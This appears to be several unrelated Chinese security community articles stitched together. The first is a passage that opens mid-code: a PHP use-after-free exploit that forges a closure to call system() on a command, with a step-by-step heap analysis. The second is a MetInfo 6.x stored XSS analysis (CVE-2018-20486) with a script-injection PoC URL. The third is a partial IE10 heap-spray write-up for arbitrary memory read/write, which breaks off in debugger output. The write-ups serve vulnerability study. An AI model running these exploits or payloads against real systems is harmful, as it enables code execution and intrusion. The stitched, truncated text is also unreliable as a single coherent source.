// offset=16因为$buf在0x7ffff3a5d280，result在0x7ffff3a5d2a8，相差40字节，除去0x7ffff3a5d280开始的24字节字符串zend_string的头外，再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。
file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf);
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}
?>
## 2\. UAF分析
<?php
$arr = [[], []];//首先是数组
arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
?>
`set_error_handler`会设置错误处理句柄，当PHP执行报错时，调用该函数
`.=`是PHP赋值操作附加字符串连接，这里对应操作是`ZEND_ASSIGN_DIM_OP`，意思就是数组降维，说白了就是取数组元素。
赋值的参数是`zval（IS_STRING：66*'\0'）`，被赋值的是一个zend_empty_array，然后进入
`zend_binary_op`进行赋值操作
参数列表是`（ret=arr[1]，op1=arr[1]，op2=zval@66*'\0'）`，此处因为是`.=` ，即自赋值，返回值和op1是一样的
`zend_binary_op`函数中定义了各种不同类型的操作句柄，由Opcode的扩展值决定使用那种操作
static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC)
{
static const binary_op_type zend_binary_ops[] = {
add_function,
sub_function,
mul_function,
div_function,
mod_function,
shift_left_function,
shift_right_function,
concat_function,
bitwise_or_function,
bitwise_and_function,
bitwise_xor_function,
pow_function
};
/* size_t cast makes GCC to better optimize 64-bit PIC code */
size_t opcode = (size_t)opline->extended_value;
return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2);
}
//op fetch ext return operands
//ASSIGN_DIM_OP .= 8 !0, 1
//此处的扩展值是8，即调用concat_function进行操作
\$arr存了一串Bucket，每个Bucket里面带了一个zval，对于\$arr来说，每个元素是一个zend_array
跟进`concat_function`：
首先验证op1是不是字符串，如果不是，字符串，就尝试使用`zval_get_string_func(op1)`从中得到字符串
跟进`zval_get_string_func`：
判断类型，发现是IS_ARRAY，调用zend_error，触发回调错误处理句柄
<?php
$buf=null;
set_error_handler(function() use (&$arr, &$buf){
$arr = 2;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
在错误处理句柄中，\$arr被重新赋值，导致其本来对应的那块空间被销毁，即其堆地址被挂载到了free链表上了。被销毁的包括\$arr对应的zend_array结构，以及哈希表数据存储的部分，即Bucket所在的部分。
以某次调试为例，`zval_get_string_func`的参数zval即\$arr[1]的地址是0x7ffff3a5d2a8，它是第二个Bucket，一个Bucket的大小是32B，然后packed类型的未初始化数组的数组索引表大小是2，每个索引值都是-1，size是32b即4字节，arData的地址就是0x7ffff3a5d288，整个数据部分的地址就是0x7ffff3a5d280，当前arr这个数组共有8个Bucket，2个索引，共计264字节，加上调试信息32字节，这块结构共计296字节，占据32号RUN规格的内存。根据地址计算得到验证。
buf现在需要分配HT_STRING_SIZE = HT_SIZE - 0x18 - 1 = 0x118 -0x18
-1的内容。0x118是280B，即分配255长的字符串，需要分配空间是`(_ZSTR_HEADER_SIZE + len + 1) =
280B`，因为分配字符串时还会带上zend_mm_debug_info的32字节，所以需要额外32字节，即共需312B空间，最后分配得到320B的空间，刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的`'\0'`，来自于
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构，其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来，不带索引数组，共计32*32+8=1032字节，要分配24号规格内存
// 为什么要这个操作，不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串，消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串，消耗10个16号RUN空间
}
继续，错误处理完后，op1的位置已经不复存在了，op1指向了一个新的字符串”Array“，上面提到的`255*‘\0’`放在buf中。
回到`concat_function`，处理完op1后，再处理op2，op2本身就是字符串`66*A`，拼接后得到‘`Array+66*A`，此时返回值是存储再0x7ffff3a5d2a8处的，所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处
此时，\$buf中的zend_string首地址就是0x7ffff3a5d280，字符串内容的地址就是0x7ffff3a5d298，在字符串内容偏移+16处，即zend_string+40处。这样我们就能够得到‘`Array+66*A`的zval结构（地址0x7ffff3a84580，type=6=IS_STRING）。同时，能够控制通过buf对该位置值的控制，读取任意地址的内容。
## 3\. 利用分析
然后是
$this->abc = self::alloc(self::STRING_SIZE);
`STRING_SIZE`在调试环境下始终是47，分配到0x80=128B的内存空间。
前面提到的`Array+66*A`长度也是`STRING_SIZE`，二者占据的大小相同，空间相邻。
$fill = self::alloc(self::STRING_SIZE);
是为了消耗掉`Array+66*A`前面的0x80的空间，避免`$this->abc`分配到其前面，导致后面计算abc的地址的计算方法错误（==有一个问题，为何Array+66*A前面还会有空间空着==）
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
> 有一个问题，为何Array+66*A前面还会有空间空着：
>
> 根据调试，这是op2参数的位置。。。，用完之后会被释放，即0x7ffff3a84500在链表首。
回到前面，abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。
此时进行了另一个操作
$this->free($abc_addr);
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间
$arr = [[], []];//320B的空间
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);//数组的320B被填充
});
$arr[1] .= "x";
}
free函数的功能很明显和heap_leap很相似，只不过填充arData空间的不再是全0。根据前面的分析，这里又分配了一个320字节的块，并用`pack("Q*",
0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA`填充，
**重点：**
然后，在销毁该哈希表的时候，会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680，arData就在0x00007ffff3a5e688，
`$arr[1]` 就在`0x00007ffff3a5e6a8`，显然这里存储了一个zval
zval_struct{
.value = 0x00007ffff3a5e6a8;
.u1.v.type = 6
}
这里就会被识别为一个字符串，然后其引用值为1，释放的时候就会被直接释放掉。所以`$this->abc`这里的0x80 = 128字节就会空出来
free函数执行完后，buf是指向长度0xdeadbeef的字符串，zend_string地址在0x7ffff3a5e680，`$arr[1] .=
"x"`的结构存储在0x00007ffff3a92f80;
继续，
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
这里新建了一个类，对应`ZEND_NEW`操作，其会从`EG(class_table)`全局类表中找到对应的`zend_class_entry`结构的地址，此处为0x7ffff3a04018，该结构大小为456B，然后调用object_init_ex初始化一个对象出来（0x7ffff3a84600）。分配对象的时候用到了zend_objects_new，计算出的需要分配的大小是
`56 + 16*2 +32= 120` 其中（`(ce->ce_flags & ZEND_ACC_USE_GUARDS) =
1`），刚好分配到`free(abc)`所得到的空间。
其中的成员变量`b`被赋予了一个闭包函数，即从`EG(function_table)`里面找到了`zend_function`结构，该结构大小224，该闭包函数的名字是`%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240`（注意url解码）。`zend_function`结构和`zend_op_array`具有相同大小，切二者拥有相同的common部分
union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
uint32_t quick_arg_flags;
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
然后是计算helper对象的地址
$helper_handlers = $this->rel_read(0);
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
前面提到，`$this->abc`会引用到一块已经空闲的0x80=128大小的空间，分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间，于是`$this->abc`现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。
struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
//根据这两个结构的对比以及字节对齐的原理，val处的值就是对象对应的zend_object_handlers，字符串长度就是ce的地址
ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce)
{
zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce));
_zend_object_std_init(object, ce);
object->handlers = &std_object_handlers;
return object;
}
static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce)
{
return sizeof(zval) *
(ce->default_properties_count - ((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1));
}
据此，可以读取到helper的zend_object中的handlers地址
$helper_handlers = $this->rel_read(0);
然后是closure，这里其实读到的就是`$helper->b`对应的`zend_object`结构的地址（zval中的地址值存储在最前面）
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
再然后是读取closure_ce，
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
读取方法如下：0x10偏移处是
`$helper->a`的zval，更改其value字段为要读取的addr-0x10，就能使用字符串长度获取到对应的值（len字段在zend_string的0x10偏移处，读取len就需要给定zend_string的地址，即将zval的value字段覆盖为addr-0x10）
此时达到了任意地址读的目的，然后就是读取helper->b的匿名函数`_zend_object`的偏移0x10处的值，即`zend_object.ce;`，是类的描述结构`zend_class_entry`的地址。该结构内部包含方法所属类名，父类名，各种魔术方法等。
struct _zend_class_entry {
char type;
zend_string *name;
/* class_entry or string depending on ZEND_ACC_LINKED */
union {
zend_class_entry *parent;
zend_string *parent_name;
};
int refcount;
uint32_t ce_flags;
int default_properties_count;
int default_static_members_count;
zval *default_properties_table;
zval *default_static_members_table;
ZEND_MAP_PTR_DEF(zval *, static_members_table);
HashTable function_table;
HashTable properties_info;
HashTable constants_table;
struct _zend_property_info **properties_info_table;
zend_function *constructor;
zend_function *destructor;
zend_function *clone;
zend_function *__get;
zend_function *__set;
zend_function *__unset;
zend_function *__isset;
zend_function *__call;
zend_function *__callstatic;
zend_function *__tostring;
zend_function *__debugInfo;
zend_function *serialize_func;
zend_function *unserialize_func;
/* allocated only if class implements Iterator or IteratorAggregate interface */
zend_class_iterator_funcs *iterator_funcs_ptr;
/* handlers */
union {
zend_object* (*create_object)(zend_class_entry *class_type);
int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */
};
zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref);
zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method);
/* serializer callbacks */
int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data);
int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data);
uint32_t num_interfaces;
uint32_t num_traits;
/* class_entry or string(s) depending on ZEND_ACC_LINKED */
union {
zend_class_entry **interfaces;
zend_class_name *interface_names;
};
zend_class_name *trait_names;
zend_trait_alias **trait_aliases;
zend_trait_precedence **trait_precedences;
union {
struct {
zend_string *filename;
uint32_t line_start;
uint32_t line_end;
zend_string *doc_comment;
} user;
struct {
const struct _zend_function_entry *builtin_functions;
struct _zend_module_entry *module;
} internal;
} info;
};
再者是获取函数基地址,
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
读取方法是根据ce的地址，在其前面查找，根据MODULE_API_NO进行验证查找模块结构zend_module_entry
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
int (*module_startup_func)(INIT_FUNC_ARGS);
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
int (*request_startup_func)(INIT_FUNC_ARGS);
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
int (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};
offset=0处事size，offset=4处是zend_api，一般是20180731、20190902、20200930、20210902中之一，offset=0x20处是模块名name的地址。
为什么可以在ce的附近找到module呢，因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到，该结构在`do_register_internal_class`中被malloc分配并初始化，在加载启动Core模块时被分配在堆空间中。
调用栈如下：
而`standard`模块的`zend_module_entry`结构在`php_register_internal_extensions_func`注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈：
这里向哈希表中添加内容时，该哈希表的GC位被设置了IS_ARRAY_PERSISTENT，即被分配于系统malloc区内。
所以，ce和module都在堆中，可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。
#define ZEND_MODULE_API_NO 20190902
#define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS
zend_module_entry basic_functions_module = { /* {{{ */
STANDARD_MODULE_HEADER_EX,
NULL,
standard_deps,
"standard", /* extension name */
basic_functions, /* function list */
PHP_MINIT(basic), /* process startup */
PHP_MSHUTDOWN(basic), /* process shutdown */
PHP_RINIT(basic), /* request startup */
PHP_RSHUTDOWN(basic), /* request shutdown */
PHP_MINFO(basic), /* extension info */
PHP_STANDARD_VERSION, /* extension version */
STANDARD_MODULE_PROPERTIES
};
_zend_module_entry偏移为0x24的位置是_zend_function_entry结构的地址，里面存放了该模块所有的函数，其中就包括了`PHP_FE(system,arginfo_system)`
依次读出_zend_function_entry列表里的每一个zend_function_entry结构，为其分配zend_internal_function大小的堆空间，然后拷贝zend_function前面一部分内容。因为zend_function是一个联合体，里面zend_op_array是最大的，所以拷贝前面zend_internal_function大小就可以了。这个新的zend_internal_function结构的指针将会被添加到全局函数表中。我们找到的其实是被全局定义在zend_module_entry的function列表中的basic_functions。
typedef struct _zend_function_entry {
const char *fname;
zif_handler handler;
const struct _zend_internal_arg_info *arg_info;
uint32_t num_args;
uint32_t flags;
} zend_function_entry;
handler就是真正的函数地址
我们要做的就是将找到的_zend_function_entry结构赋给`zend_function`的handler
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
接下来就是构造一个假的闭包函数，让他成为内部函数。
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
对于`($this->helper->b)($cmd);`类的动态调用，会进入`zend_init_dynamic_call_object`逻辑，获取对象的`get_closure`句柄并调用。
在`zend_init_dynamic_call_object`内，传入的obj指针被强转为`zend_closure`闭包，其实在编译的时候，分配的空间大小就是按照_zend_closure分配的（加上调试信息共需要344B，分配得到17号RUN，384B），其中第一个成员就是_zend_object。
转换为闭包后，能够读取到其对应得`zend_function`、`zend_class_entry`等。
typedef struct _zend_closure {//312B
zend_object std;//56B
zend_function func;//224B
zval this_ptr;//16B
zend_class_entry *called_scope;
zif_handler orig_internal_handler;//8B typedef void (ZEND_FASTCALL *zif_handler)(INTERNAL_FUNCTION_PARAMETERS)
} zend_closure;
//对比
struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
数据复制的大概流程是
向`abc`所在的空间即`helper`对象对应的`zend_object`内容的0x70=112的偏移处开始写值（一个zend_object是56字节，这里隔了一个zend_object的空间），数据来源是闭包函数helper->b对应的`zend_object`（或者可以说是`zend_closure`）的内容。共计复制`0x138=312B=sizeof(zend_closure)`的内容。按理来说，这块内存并没有被分配出来，而且规格不对。但是我们能写入的内容只能是在abc内以及abc的后面
`helper`对象对应的`zend_object`内容的0x70=112的偏移处已经是一个新的块的起始位置（helper对应得zend_object占得是abc得空间，包含头只有128字节，写得时候只能从offset+24处开始写，所以offset+0x70就是新的字符串块儿的，原本abc的空间可写长度剩余128-24=104字节，向后跨越112字节，来到了新的128字节存储块的offset+8处，没有从offset+0处开始是保留了这里的空闲链表指针）。
连续向下写0x138=312B的数据，会非法占用abc后面的3个128B的块儿。
复制完后，就更改helper->b对应得zend_object结构的地址，让其指向新的`zend_closure`处。
**为什么不直接更改zend_closure的handler**
我们是任意读，但是受限写，只能写入abc块后面空间。而`zend_closure`在abc前面，所以只能复制到我们能写的地方，然后再处理。
处理一下
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;//因为主版本的变化，这里的偏移量可能会有所不同，新版本的偏移量我没算
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
zend_closure@offset+0x68处是`zend_closure.zend_function.zend_internal_function.zif_handler`，即函数句柄
同时，我们需要改掉一些标志位：
zend_closure@offset+0x38处是`zend_closure.zend_function.zend_internal_function.type`，将其更改为内部函数
#define ZEND_INTERNAL_FUNCTION 1
修改完新的zend_closure，将其赋给`helper->b`，这样我们就可以对特定standard模块内的函数进行调用了。
调用完后再修改回去，就OK了。
当然，因为我们非法占用了3个128字节的块儿，这些块儿会造成内存泄漏。
还有`this->helper->a`这个字符串，其对应的内容实质上只是一段内存，并不是真正的字符串，其长度会特别大，这个字符串也得修改回来，不过不该也无所谓了，内存泄漏就泄漏吧23333. | 社区文章 |
# Metinfo 6.x存储型XSS分析（CVE-2018-20486）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
MetInfo采用PHP+MySQL架构，目前最新版本为6.1.3。2018年12月27日，Metinfo被爆出存在存储型跨站脚本漏洞，远程攻击者无需登录可插入恶意代码，管理员在后台管理时即可触发。该XSS漏洞引起的原因是变量覆盖，这种情况还是比较少见的，因此打算对这个漏洞进行分析并学习一下思路。
## 0x02 影响范围及利用条件
Metinfo 6.x (6.0.0-6.1.3)
无需登录，知晓后台登陆地址。
## 0x03 漏洞分析
我们以官方最新版6.1.3为例进行分析。漏洞点位于/admin/login/login_check.php
12行，$url_array数组中某个元素被赋值给$turefile，经过条件判断后赋值给$met_adminfile，随后经过authcode方法加密后再赋值给$truefile。最后执行update
SQL操作，将之前加密后的字符串插入数据库。
再跟踪$url_array如何输入的，代码第7行包含了/admin/include/common.inc.php，跟进common.inc.php。在代码第10行发现变量$url_array被赋值，这里利用Xdebug打下断点，发现$url_array是以后台绝对路径分割而成的数组，而后台路径是安装时就确定的。
那漏洞是如何产生的呢？继续看commin.inc.php，在代码77-82行，这是一个典型的对输入参数名进行变量注册的循环，并且是在$url_array赋值之后，存在变量覆盖漏洞。这里继续打下断点，访问下面的path
/admin/login/login_check.php?url_array[]=inject here&url_array[]=a
可以看到$url_array的值已经被覆盖并且可任意控制。
再返回login_check.php，$url_array的值可被插入到$met_config表中，$met_config可由commin.inc.php的90-93行进行变量注册，这里$met_config被赋值为met_config。
接下来看XSS的触发点，位于/app/system/safe/admin/index.clss.php 的doindex方法中，此方法对应着后台的【安全-安全与效率】操作。管理员在进行后台操作时，Metinfo会提前将met_config表中的数据取出，并放到全局变量$_M中；我们可以跟踪下这个过程，在/app/system/safe/admin/index.clss.php
的行首调用了/app/system/include/class/load.class.php中的sys_class方法加载系统类文件，这里加载了/app/system/include/class/admin.class.php，index类继承了admin类，并在构造函数`__construct`中执行了父类admin的构造函数。
继续跟进到/app/system/include/class/admin.class.php中，发现admin类继承了common类，同样在构造函数中执行了父类的构造函数。
跟进到/app/system/include/class/common.class.php，common类的构造函数执行了load_confg_global方法加载全站配置数据。
load_config_global方法在128行，调用load_config方法，执行SQL语句从met_config表查询出所有数据，并将其放在全局变量$_M[‘config’]中。
因此可知，我们之前插入的XSS代码被放在`$_M['config']['met_adminfile']`中，此时还处于加密的状态；load_config_global方法中代码120行，调用了authcode方法解密了`$_M['config']['met_adminfile']`。
此时返回`/app/system/safe/admin/index.clss.php`，解密后的XSS payload进入$localurl_admin。
index.class.php中代码39行，包含了模板/app/system/safe/admin/templates/index.php，跟进到index.php，在66行未过滤直接输出了$localurl_admin，最终导致了XSS。
测试漏洞的POC为
http://127.0.0.1/MetInfo6_1_3/admin/login/login_check.php?url_array[]=<script>alert(1)</script>&url_array[]=a
管理员打开后台安全-安全与效率，直接触发
## 0x04 修复方案
1. 2019年1月2日,官方在[论坛](https://forum.metinfo.cn/thread-1300-1-1.html)中确认了该漏洞，并准备在下一个小版本中修复
2. 暂时缓解措施，修改/admin/include/common.inc.php，在82行变量注册之后插入
$url_array=explode($DS,ROOTPATH_ADMIN);
防止$url_array变量被覆盖。
### **参考链接：**
<https://www.anquanke.com/vul/id/1449669>
<https://github.com/Ppsoft1990/Metinfo6.1.3/issues/2> | 社区文章 |
# IE：从一字节改写到全地址读写
|
##### 译文声明
本文是翻译文章，文章原作者 SevieZhou
译文仅供参考，具体内容表达以及含义原文为准。
作者：SevieZhou
预估稿费：800RMB
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](http://bobao.360.cn/news/detail/4370.html)
**）**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 前言
在浏览器的漏洞利用中，通过uaf漏洞能够改写一字节，这时可以利用这篇文章的方法实现任意地址读写，这里会详细阐述技术细节，解释每一步代码的含义，测试环境是win7
32bit sp1和IE10。
## 对象堆喷射
这种方法中通过两次对象的喷射实现地址预测。
首先是第一个对象喷射:
<html>
<head>
<script language="javascript">
(function() {
alert("Start");
var a = new Array();
for (var i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
alert("Done");
})();
</script>
</head>
<body>
</body>
</html>
目的是把一个ArrayBuffer的缓冲空间放在LargeHeapBlock之间:
8-byte header | 0x58-byte LargeHeapBlock
8-byte header | 0x58-byte LargeHeapBlock
8-byte header | 0x58-byte LargeHeapBlock
.
.
.
8-byte header | 0x58-byte LargeHeapBlock
8-byte header | 0x58-byte ArrayBuffer (buf)
8-byte header | 0x58-byte LargeHeapBlock
8-byte header | 0x58-byte LargeHeapBlock
为了追踪内存布局，我们要找到ArrayBuffer对象的地址，在jscript9!Js::JavascriptArrayBuffer::Create下断点，断下后返回:
0:007> g
Breakpoint 0 hit
eax=00000058 ebx=022e1780 ecx=022fb000 edx=00000400 esi=01ff6890 edi=02e2ba54
eip=610f2ba8 esp=02e2ba28 ebp=02e2ba48 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
jscript9!Js::JavascriptArrayBuffer::Create:
610f2ba8 8bff mov edi,edi
0:007> gu
eax=02426dc0 ebx=022e1780 ecx=00000000 edx=00000000 esi=01ff6890 edi=02e2ba54
eip=612bc16d esp=02e2ba30 ebp=02e2ba48 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
jscript9!Js::ArrayBuffer::NewInstance+0x8d:
612bc16d 5f pop edi
eax的值02426dc0就是ArrayBuffer对象的地址:
0:006> dd 02426dc0 l9
02426dc0 610f2bf8 022e9a00 00000000 00000003
02426dd0 0203c8c0 00000058 00000000 00000000
02426de0 02426e00
0:006> ln poi(02426dc0)
(610f2bf8) jscript9!Js::JavascriptArrayBuffer::`vftable' | (612be1c8) jscript9!Js::CopyOnWriteObject<Js::TypedArray<bool>,Js::NoSpecialProperties>::`vftable'
Exact matches:
jscript9!Js::JavascriptArrayBuffer::`vftable' = <no type information>
+0x10处是缓冲区地址，也就是0203c8c0，这段地址确实在堆上，并且大小为0x58:
0:006> !heap -p -a 0203c8c0
address 0203c8c0 found in
_HEAP @ 690000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0203c8b8 000c 0000 [00] 0203c8c0 00058 - (busy)
定位到这段内存，发现前后都是LargeHeapBlock对象:
0203c858 7b0f6577 8c000000 610b1c7c 00000003 <= LargeHeapBlock begin
0203c868 07ae0000 00000010 00000002 00000000
0203c878 00000004 07aef440 07af0000 0204fe90
0203c888 00000000 00000002 00000001 00000000
0203c898 0204f6d8 07ae0000 00000000 00000000
0203c8a8 00000000 00000004 00000001 80000000 <= LargeHeapBlock end
0203c8b8 7b0f656b 88000000 00000000 00000000 <= ArrayBuffer begin
0203c8c8 00000000 00000000 00000000 00000000
0203c8d8 00000000 00000000 00000000 00000000
0203c8e8 00000000 00000000 00000000 00000000
0203c8f8 00000000 00000000 00000000 00000000
0203c908 00000000 00000000 00000000 00000000 <= ArrayBuffer end
0203c918 7b0f655f 8c00aa6c 610b1c7c 00000003 <= LargeHeapBlock begin
0203c928 07af0000 00000010 00000001 00000000
0203c938 00000004 07aff020 07b00000 0203c800
0203c948 00000000 00000001 00000001 00000000
0203c958 0204f710 07af0000 00000000 00000000
0203c968 00000000 00000004 00000001 0203aa24 <= LargeHeapBlock end
0:006> ln 610b1c7c
(610b1c7c) jscript9!LargeHeapBlock::`vftable' | (610b1ca0) jscript9!Segment::`vftable'
Exact matches:
jscript9!LargeHeapBlock::`vftable' = <no type information>
接下来是第二次，脚本如下:
<html>
<head>
<script language="javascript">
(function() {
alert("Start");
var a = new Array();
for (var i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
alert("First Done");
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8);
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf);
}
alert("Second Done");
})();
</script>
</head>
<body>
</body>
</html>
这次需要三个断点，在第一个弹窗时下断点:
0:013> bu jscript9!Js::ArrayBuffer::NewInstance+0x8d
0:013> bl
0 e 612bc16d 0001 (0001) 0:**** jscript9!Js::ArrayBuffer::NewInstance+0x8d
0:013> g
Breakpoint 0 hit
eax=02452dc0 ebx=022e1780 ecx=00000000 edx=00000000 esi=020cf078 edi=02e2ba44
